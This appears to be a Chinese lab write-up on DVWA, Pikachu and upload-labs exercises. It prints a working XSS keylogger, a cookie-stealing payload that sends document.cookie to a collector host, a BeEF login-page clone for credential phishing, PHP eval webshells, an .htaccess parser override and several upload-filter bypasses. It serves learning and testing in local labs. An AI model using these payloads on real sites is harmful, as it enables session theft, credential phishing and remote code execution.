首页 > 其他分享 >C10-09-XSS之获取键盘记录、盲打获取cookie及克隆网站和文件上传绕过练习

C10-09-XSS之获取键盘记录、盲打获取cookie及克隆网站和文件上传绕过练习

时间:2024-10-30 09:47:47浏览次数:6  
标签:XSS 文件 盲打 获取 cookie 绕过 php 上传 图片

免责声明

本文仅是个人对XSS和文件上传绕过及相关工具的学习测试过程记录,不具有恶意引导意向。

一 使用pikachu平台练习XSS键盘记录

以dvwa-Low靶场为目标网站,通过dvwa的存储型XSS上传JS,验证pikachu工具对dvwa靶场页面键盘操作的记录

1.1调试pikachu环境

①调整

Pikachu自带XSS键盘记录利用脚本 /var/www/html/pkxss/rkeypress/rk.js

说明:该文件实现的功能是接收并记录用户对键盘的每一次操做

/**

* Created by runner on 2018/7/8.

*/

function createAjax(){

var request=false;

if(window.XMLHttpRequest){

request=new XMLHttpRequest();

if(request.overrideMimeType){

request.overrideMimeType("text/xml");

}

}else if(window.ActiveXObject){

var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++){

try{

request=new ActiveXObject(versions[i]);

if(request){

return request;

}

}catch(e){

request=false;

}

}

}

return request;

}

var ajax=null;

var xl="datax=";

function onkeypress() {

var realkey = String.fromCharCode(event.keyCode);

xl+=realkey;

show();

}

document.onkeypress = onkeypress;

function show() {

ajax = createAjax();

ajax.onreadystatechange = function () {

if (ajax.readyState == 4) {

if (ajax.status == 200) {

var data = ajax.responseText;

} else {

alert("页面请求失败");

}

}

}

var postdate = xl;

ajax.open("POST", "http://10.0.0.14:8086/pkxss/rkeypress/rkserver.php",true);

ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

ajax.setRequestHeader("Content-length", postdate.length);

ajax.setRequestHeader("Connection", "close");

ajax.send(postdate);

②pikachu工具接收处理键盘操作记录的页面:

cat /var/www/html/pkxss/rkeypress/rkserver.php

<?php

/**

* Created by runner.han

* There is nothing new under the sun

*/

include_once '../inc/config.inc.php';

include_once '../inc/mysql.inc.php';

$link=connect();

//设置允许被跨域访问

header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];

$query = "insert keypress(data) values('$data')";

$result=mysqli_query($link,$query);

1.2 dvwa-存储型XSS漏洞利用

存储型XSS注入如下payload

<script src="http://10.0.0.104:8086/pkxss/rkeypress/rk.js"></script>

Message文本框限制了文本输入内容长度

①通过浏览器调整文本框限制

②或通过burp抓包拦截发送

提交后,任何用户访问此页面都会被记录键盘操作记录

1.3 验证

说明:在存储型XSS页面即使不是文本框输入,随机操作键盘也会被记录

Pikachu后台验证

二 dvwa存储型XSS攻击获取cookie

环境:dvwa-Low等级存储型XSS攻击

2.1 pikachu后台及payload使用

通过查看页面源码,该页面数据是通过调用xcookie/pkxss_cookie_result.php

pikachu后端环境中,是通过同一目录下的 cookie.php 文件来获取cookie

<?php

include_once '../inc/config.inc.php';

include_once '../inc/mysql.inc.php';

$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){

$time=date('Y-m-d g:i:s');

$ipaddress=getenv ('REMOTE_ADDR');

$cookie=$_GET['cookie'];

$referer=$_SERVER['HTTP_REFERER'];

$useragent=$_SERVER['HTTP_USER_AGENT'];

$query="insert cookies(time,ipaddress,cookie,referer,useragent)

values('$time','$ipaddress','$cookie','$referer','$useragent')";

$result=mysqli_query($link, $query);

}

header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站

在dvwa存储型注入页面使用XSS盗取cookie payload

使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数为 document.cookie

<script>document.write('<img src="http://10.0.0.104:8086/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>

说明1:document.write() 是 JavaScript 中的一个方法,用于直接向 HTML 文档中写入内容。它可以在页面的加载过程中动态地生成或修改内容。

说明2:document.write() 可以用来在网页加载时动态地插入 HTML 内容。例如,你可以根据某些条件或用户输入来生成不同的 HTML 片段。

说明3:当 document.write() 被调用时,如果文档还没有完全加载(即 <body>标签还没有被关闭),它会将内容直接插入到当前位置。

如果文档已经完全加载,document.write() 会清空整个文档的内容,然后插入新的内容。这个行为通常是不希望看到的,因为它会破坏已经加载的页面。

2.2 pikachu XSS获取 cookie结果

凡是登录dvwa并访问XSS(Stored)页面,都会被收集当前用户的cookie信息。

2.3 cookie验证

拿到cookie后,只有当用户没有退出登录时可以利用cookie实现登录,一旦用户退出登录后,cookie失效;用户每次登录都会获取新的cookie退出登录后失效;

2.3.1 浏览器cookie编辑工具

火狐浏览器添加cookie编辑工具:cookie-e'ditor

2.3.2 使用编辑工具利用cookie

目标cookie:PHPSESSID=9ij020nrb659p1qs46bkrf8i93; security=low

页面URL:http://10.0.0.104:8080/index.php (这个URL一定是登录后的URL,因为用cookie访问的一定是登录后的URL)

Cookie编辑:PHPSESSID=9ij020nrb659p1qs46bkrf8i93

Cookie编辑:security=low

说明:输入完成后,直接回车就可以以当前cookie对应的用户实现对URL的登录

三 beef

使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码

3.1 环境

Kali linux

配置IP:

sudo vim /etc/network/interfaces

auto eth0

iface eth0 inet static

address 10.0.0.106

netmask 255.255.255.0

gateway 10.0.0.2

dns-nameservers 114.114.114.114

sudo systemctl restart networking

配置DNS:

sudo vim /etc/resolv.conf

nameserver 114.114.114.114

安装beef:

sudo apt install beef-xss

修改beef参数

sudo vim /usr/share/beef-xss/config.yaml

说明 : 修改监听地址 和前台beef登录密码(不修改密码,默认是beef/beef,前台登录时也会提示更改)

启动:

sudo /usr/share/beef-xss/beef

访问:http://10.0.0.106:3000/ui/panel 自动调整到http://10.0.0.106:3000/ui/authentication

Beef/123

3.2 使用 beef 克隆DVWA网站

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site to clone>", "mount":"<where to mount>"}' -X POST http://<BeEFURL>/api/seng/clone_page?token=<token>

// <URL of site to clone> 需要克隆的网址

// <where to mount> 克隆的页面在服务器的哪个路径访问

// <token> 服务启动时的 beef API key

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://10.0.0.104:8080/login.php", "mount":"/clone_site_dvwa"}' -X POST http://10.0.0.106:3000/api/seng/clone_page?token=1fd47ab33baa623ec9104aff7bd64291790e4cc8

说明:下图所示克隆成功

访问克隆后生成的URL:http://10.0.0.106:3000/clone_site_dvwa

可以看到beef中有机器上线,10.0.0.1在页面中进行登录

在克隆的页面输入用户密码提交,查看beef日志

四 文件上传绕过

环境:cuer/upload-labs

4.1 客户端JS绕过

客户端绕过练习。

访问 http://your_ip:8087 , 选择 Pass-01,Upload-labs(Pass-01)源码分析,通过验证发现是前端JS验证,而前端验证,几乎没有什么防护作

用。

4.1.1 浏览器禁用JS

浏览器直接禁用JS,先按F12,然后按F1,找到禁用JS

上传payload.php文件

<?php eval(@$_GET['a']);?>

<?php eval(@$_POST['a']);?> //可以搭配蚁剑使用

<?php eval(@$_GET['a']);?>

这段代码中的@符号是PHP中的错误控制运算符。它用于在表达式前面,当表达式执行过程中遇到任何错误时,它会阻止错误信息的显示。这意味着,如果$_GET['a']不存在或包含无法执行的代码,用户不会看到任何错误信息,这可能会使调试变得更加困难,同时也可能掩盖了潜在的安全问题。

<?php eval($_GET['a']);?>

这段代码没有使用@符号。因此,如果$_GET['a']不存在或包含语法错误的代码,PHP将会显示一个错误信息,这可能会暴露一些不应该被用户看到的内部细节,包括文件路径、服务器配置等。然而,从安全角度来看,这实际上可能是一件好事,因为它提醒开发者或维护者存在潜在的问题。

上传info.png,上传成功

4.1.2 修改后缀名饶过-burp

先把一句话木马改为 .jpg|.png 其中一个后缀,上传,抓包

<?php phpinfo();?>

把这个php代码写入一个info.txt文本,并把扩展名改为png,上传,抓包,在burp中把文件名后缀给为php,放行,实现绕过前端JS验证

4.1.3 修改前端JS代码

修改前端代码,删除浏览器中加载的源码中的JS验证代码:onsubmit="return checkFile()"

4.2 服务端黑名单绕过

4.2.1 后缀-特殊可解析后缀

Upload-labs(Pass-03)根据源码可以看出,只是做了个简单的后缀名黑名单,识别上传文件的类型是否为 '.asp','.aspx','.php','.jsp' 中的一个,若是其中的一个,则不允许上传。

但是可以上传其他任意后缀,比如说: .phtml .phps .php5 .pht ,但如果上传的是.php5这种类型文件,想要被当成php执行的话,需要有个前提条件:即Apache的httpd.conf有如下配置代码(靶场环境未配置好,仅做上传测试)。

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

修改后文件名为info.php5,上传

4.2.2 后缀-大小写绕过(√)

Upload-labs(Pass-06)通过查看源码可以发现,虽然设置了黑名单对常见的后缀进行过滤,但并未对

后缀名大小写进行统一。可以利用大小写进行绕过。例如:.PHp

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

4.2.3 后缀-点绕过-burp(√)

Upload-labs(Pass-08)分析代码没有去除点,直接在文件后面加上点

Windows10中无法在后缀名后边加“.”,会自动抹去,使用burp修改

Windows系统中会自动去除文件名最后的 . ,因此在Windows系统中可以使用此方法绕过;

Linux系统虽然不会自动去除文件名最后的 . ,但是部分Linux系统搭配中间件可以实现解析。

4.2.4 空格绕过-burp

Upload-labs(Pass-07)通过代码分析没有去空格,在文件后缀加空格后上传

4.2.5 ::$DATA绕过-burp

在Windows中,如果文件名 + ::$DATA 会把 ::$DATA 之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。使用它的目的就是不检查后缀名(Windows会自动去掉末尾的::$DATA变成 phpinfo.php,Upload-labs(Pass-09)抓包修改文件后缀)

phpinfo.php::$DATA

数据流特性:

Windows NTFS 文件系统允许每个文件拥有多个数据流。默认的数据流是文件的主要内容,其名称为 ::$DATA。

当在文件名后添加 ::$DATA 时,Windows 会将其视为对数据流的引用,而不是文件名的扩展名。

文件处理:

当应用程序或操作系统处理包含 ::$DATA 的文件名时,它们通常会忽略 ::$DATA 之后的内容,并将其视为对数据流的请求。

这意味着,如果文件名是 example.txt::$DATA,应用程序可能会尝试打开名为 example.txt 的文件,并请求其 ::$DATA 数据流(即文件的主要内容)。

可以看到,上传成功。但是Linux服务器未去掉后缀,所以解析不了

4.2.6 配合解析绕过-没有循环验证-burp

Upload-labs(Pass-10)

涉及后端验证方法:①黑名单②删除末尾的点③转换为小写④去除字符串::$DATA⑤首尾去空

这一关的思路是它没有循环验证,也就是说首尾去空,删除末尾的点,去除字符串:$SDATA,转换为小写这些措施只验证了一次,所以绕过思路也很简单:在数据包中把后缀名改为:

.php. .(两个点之间有个空格)

.php. ::$DATA

说明:以 .php. . 为例的验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还有一个点,也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功。

虽然上传成功,但显然后缀后边有个空格

ls TAB键补全有个反斜杠\转义的空字符

“空”的URL编码是%20

4.2.7 .htaccess文件绕过(√)

服务端黑名单绕过:.htaccess文件绕过的具体步骤。

.htaccess 文件是 Apache HTTP 服务器上的一个配置文件,用于在服务器级别上设置和修改某些行为。这个文件通常位于网站根目录或其他特定目录中,并且可以对目录及其子目录中的文件提供访问控制、重写规则、错误文档指定、MIME 类型定义等多种功能。

Upload-labs(Pass-04)源码分析,相较于Pass-03增加了黑名单量。但是,中间件为Apache的情况下,黑名单未校验 .htaccess 文件,导致可上传该文件,绕过黑名单检测。

前提条件(靶场已满足)

1.mod_rewrite模块开启

2.AllowOverride All

由于黑名单中没有过滤 .htaccess 文件,可以重写文件解析规则绕过,上传一个 .htaccess ,文件内容如下:

.htaccess

.htaccess(练习,只匹配magedu.jpg文件)

magedu.jpg

<IfModule mime_module>

SetHandler application/x-httpd-php

</IfModule>

<FilesMatch "magedu.jpg">

Sethandler application/x-httpd-php

</FilesMatch>

<?php @eval($_POST["magedu"]);?>

意思是设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行,不符合则报错。

注意:.htaccess文件不能起名字,就是.htaccess文件,如果将其改为4.htaccess或者其他的什么名字是不可以的,无法解析。

在实战中有可能上传该文件后被系统自动重命名,一旦被重命名那么文件则失效。

 

先上传 .htaccess 文件,覆盖父目录对上传目录的影响,再上传 magedu.jpg 文件,完成 .htaccess 文件内容对当前目录文件解析漏洞的利用。

Hackar工具验证

蚁剑工具验证

4.2.8 双写后缀名绕过(√)

Upload-labs(Pass-11)

说明:代码实现对上传文件名中包含黑名单中的字符都替换为空,在以处理后的文件名存储到对应路径中

上传文件phpinfo.pphphp,处理后变成 info.php

4.3 服务端白名单绕过

4.3.1 MIME类型检测绕过(√)-burp

Upload-labs(Pass-02)第二关通过服务端对数据包的MIME类型进行检查;通过burp修改Content-Type类型

文件类型为image/jpeg 、image/png 、image/gif的允许上传

4.3.2 00截断绕过(√)-burp

服务端白名单绕过:%00截断绕过,虚拟机中搭建实验环境,实现绕过

00截断通常用来绕过Web的白名单限制。Upload-labs(Pass-12)

00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0作为字符串的结尾,所以\0也被称为”字符串结束标志“或者”字符串结束符“

需要注意的是:\0是用户的输入经过层层解析后到达系统底层的表现形式,因此用户在前端输入的时候是不能直接使用\0的,通常会使用%00或者0x00。

%00举例:http://www.XXX.com/upload/aaa.php%00bbb.jpg

说明:服务器在接收的时候,直接对URL编码(即%00)进行解码,然后再去接收文件,这时候后面的bbb.jpg被截断掉,文件名就变成了aaa.php,所以最后服务器接收到的文件名是aaa.php。

注意:

%00的使用是在路径上!如果在文件名上使用,就无法正常截断了,这个路径可能在URL中,也可能在post数据包中,在这些地方使用%00进行截断处理,服务器在对文件名进行检测之后,就会把路径跟文件名拼接在一起,这时候%00就开始发挥作用了。

截断条件:

1、php版本小于5.3.4

2、php.ini的magic_quotes_gpc为OFF状态

说明1:容器中的upload-labs第12关无法练习截断绕过,PHP版本比要求的要高,需要自行搭建靶场(phpstudy工具和从github下载upload-labs)

说明2:自建的upload-labs靶场需要手动创建upload目录

准备payload.png文件:<?php eval($_POST['a']);?>

Burp中在路径../upload/后添加1.php%00上传失败,需要对%00编码(选中%00执行url-decode编码),上传成功

验证

  1. <?php eval($_POST['a']);?>
  2. <?php eval($_GET['a']);?>

蚁剑工具主要针对的payload是POST方法,才能连接成功

4.4 服务端内容检查绕过

4.4.1 文件头检查(√)

文件头检查:分别利用3种制作图片马的方式实现上传绕过。

图片马(图片可正常打开):在图片中携带webshell代码(之所以图片马危害代码可以生效被执行,是应为存在文件包含漏洞)

Upload-labs(Pass-14)

注意:下面的文件头的格式是16进制的格式

.jpg

.gif

.png

FF D8 FF E0 00 10 4A 46 49 46

47 49 46 38 39 61

89 50 4E 47

Windows下可使用 010 edito工具

随便打开两张PNG的图片看下,在文件的头部都会有其专有的字符。

  1. 可以在burp里直接加;
  2. 也可以通过直接上传图片马然后Getshell。

说明:图片马生成方式

1、windows操作系统进行文件拼接: copy /b cat.png + payload.php cat2.png

2、直接使用16进制编辑工具在图片尾部添加一句话木马

3、直接burp抓包,在数据包中添加一句话木马

4、直接使用16进制编辑工具在php文件的头部添加图片头

4.4.1.1 方法一

方法一:生成图片马:
copy /b cat.PNG + payload.php copy.PNG

说明1:payload.php:<?php eval($_GET['a']);?>

说明2:010 edito工具检查copy.PNG文件末尾增加了一句话木马代码

上传后图片路径:http://10.0.0.104:8087/upload/9220241024052438.png

Upload-labs-14关提供了图片马利用的接口include.php接收要处理的图片马文件

访问:http://10.0.0.104:8087/include.php?file=upload/9220241024052438.png
说明:虽然URL访问的是图片,当时经过include.php利用文件包含漏洞,正常解析了拼接的代码

4.4.1.2 方法二

方法二:直接使用16进制编辑工具在图片尾部添加一句话木马(效果和方法一类似)
说明:010 editor工具打开正常png图片,在末尾添加代码

访问http://10.0.0.104:8087/include.php?file=upload/2420241024075257.png

说明1:通过靶场的include.php接口成功利用文件包含漏洞解析了payload

说明2:图片马的文件尾JS被解析了(hackbar或蚁剑验证)

Hackbar插件验证

4.4.1.3 方法三

方法三:直接使用16进制编辑工具在php文件的头部添加图片头

上传payload.php

说明1:上传后文件后缀是png,应为程序是基于文件内容头判断文件类型,并在保存文件时按文件类型后缀保存文件

访问:http://10.0.0.104:8087/include.php?file=upload/7020241024055622.png

说明:通过靶场的include.php接口成功利用文件包含漏洞解析了payload

4.4.2 二次渲染绕过(√)

二次渲染:根据用户上传的图片,新生成一个图片,原始图片被删除,而新图片添加到数据库中。

举例:网站根据用户上传的头像图片生成大中小不同尺寸的图像。

Upload-labs(Pass-17)这一关比较综合,判断了后缀名、文件类型,以及利用 imagecreatefromXXX判断是否为真实图片,最后再做了二次渲染。可以看到,这里先是判断后缀名和文件类型,然后再用imagecreatefrom[jpeg|png|gif] 函数判断是否是图片格式,如果是图片的话再用image[jpeg|png|gif] 函数对其进行二次渲染。我们可以上传一个正常的图片文件,观察上传前和上传后图片的二进制流是否发生变化。

尽量使用gif图片生成图片马,通过upload-labs第17关上传生成的渲染图片和原图片对比(010 editor工具),gif图片渲染后,文件前部分未发生改变的部分字节长度更长,更适合在前部分插入代码避免被渲染裁剪。渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可

4.4.2.1 确认图片上传二次渲染

010 editor工具编辑图片在文件最后添加一句话木马上传图片,010 editor工具打开上传后的图片,文件末尾的一句话木马已去除。

4.4.2.2 准备上传图片

gif图片使用010 editor工具编辑插入一句话木马(一次不一定成功,需要多次尝试)

4.4.2.3 检查上传后的文件

下载上传后的图片,010 editor工具检查一句话木马是否还在;如下图,说明图片码上传成功

4.4.2.4 验证

使用upload-labs靶场17关自带的利用“文件包含漏洞”的接口验证

http://10.0.0.104:8087/include.php?file=upload/1828073806.gif

查看结果显示一句话木马已被正常解析生效

标签:XSS,文件,盲打,获取,cookie,绕过,php,上传,图片
From: https://www.cnblogs.com/cnblogsfc/p/18515155

相关文章

  • 【SpringMVC】传递json,获取url参数,上传文件
    【传递json数据】【json概念】一种轻量级数据交互格式,有自己的格式和语法,使用文本表示一个对象或数组的信息,其本质上是字符串,负责在不同的语言中数据传递与交换json数据以字符串的形式体现【json字符串与Java对象互转】我们需要在pom.xml中增加对json的依赖【对象转jso......
  • XSS案例分析和规避
    1.什么是XSS跨站脚本(XSS)是一种安全漏洞,允许攻击者向网站注入恶意客户端代码。该代码由受害者执行从而让攻击者绕过访问控制并冒充用户。XSS可能导致cookie、token等用户敏感信息被窃取,或者HTML被重写。下面是一个极简易的新闻发布功能的案例,前端获取用户输入的标题和新闻内容,服......
  • 通过鼠标事件获取鼠标位置在3d中的坐标mouse/Raycaster
      监听事件ThreeDom.current.addEventListener('mousemove',mousemoveFunc,false);监听方法constmousemoveFunc=(event)=>{event.preventDefault();//计算鼠标在屏幕上的位置constmouse=newTHREE.Vector2();mouse.x=(event.clientX......
  • 超实用!教你用 Python 获取并下载美股数据
     yfinance是一个使用Yahoo!获取数据的Python第三方模块。它支持获取最细到1分钟级的历史数据及股票基本面数据,是免费获得美股分钟级及以上粒度数据的不二之选。如果你正在学习Python并且找不到方向的话可以试试我这一份学习方法+籽料呀!点击领取(不要米米)1.准备请......
  • 前端防止XSS跨站脚本攻击处理(DOMPurify)
      在项目中碰到安全部门测试,输入一段脚本'<iframesrcdoc="<script>alert('xss]</script></iframe>">','<p>TestXSS<imgsrc=Xonerror=prompt(123423423423)>123123ff</p>',然后就会出现弹窗,针对于这种情况,初始情况涉及地方不多可......
  • thinkphp5如何获取请求过来的网址
    ​为了掌握如何在thinkphp5中获取请求的网址,本文将介绍以下几个关键步骤:1.了解请求对象的基础;2.使用url方法获取完整URL;3.获取URL中的各个组成部分;4.使用场景:重定向与获取上一个页面的URL;5.处理请求对象中的安全性问题。在使用thinkphp5进行开发时,对请求的处理是非常关键的,而获取......
  • 用正则表达式获取json字段排序
    varReg01=newRegex($"\"fd9e\"\\s*?:\\s*?(\".*?)\"");varReg02=newRegex($"\"fe1e\"\\s*?:\\s*?(\".*?)\"");dtoList=dtoList.Select(a=>new{ dto=a,H=getMatchReg01(Reg02......
  • zblog获取tag列表函数GetTagList参数和使用方法介绍说明
    函数位置:zblogphp.php文件,大约2641行。函数参数:$select:数组,获取指定数据。$where:数组,数据获取限制规则。$order:数组,数据获取排序规则。$limit:数组,获取数据数量限制。$option:数组,附加限制选项,可用来获取指定范围内的数据。函数输出:输出一个数组。示例:{......
  • C# 获取utc时间,以及utc datetime 互相转化
     C#获取utc时间,以及utcdatetime互相转化 大部分源于http://blog.sina.com.cn/s/blog_4c6e822d0102dsdz.html 刚开始学习一点C#知识,研究一下UTC时间获取,如下DateTimedt=DateTime.UtcNow;另:DateTime.UtcNow.ToString()输出的是0时区的事件,DateTime.Now.ToStr......
  • 力扣-Mysql-1369-获取最近第二次的活动(困难)
    一、题目来源 1369.获取最近第二次的活动-力扣(LeetCode)二、数据表结构表: UserActivity+---------------+---------+|ColumnName|Type|+---------------+---------+|username|varchar||activity|varchar||startDate|Date......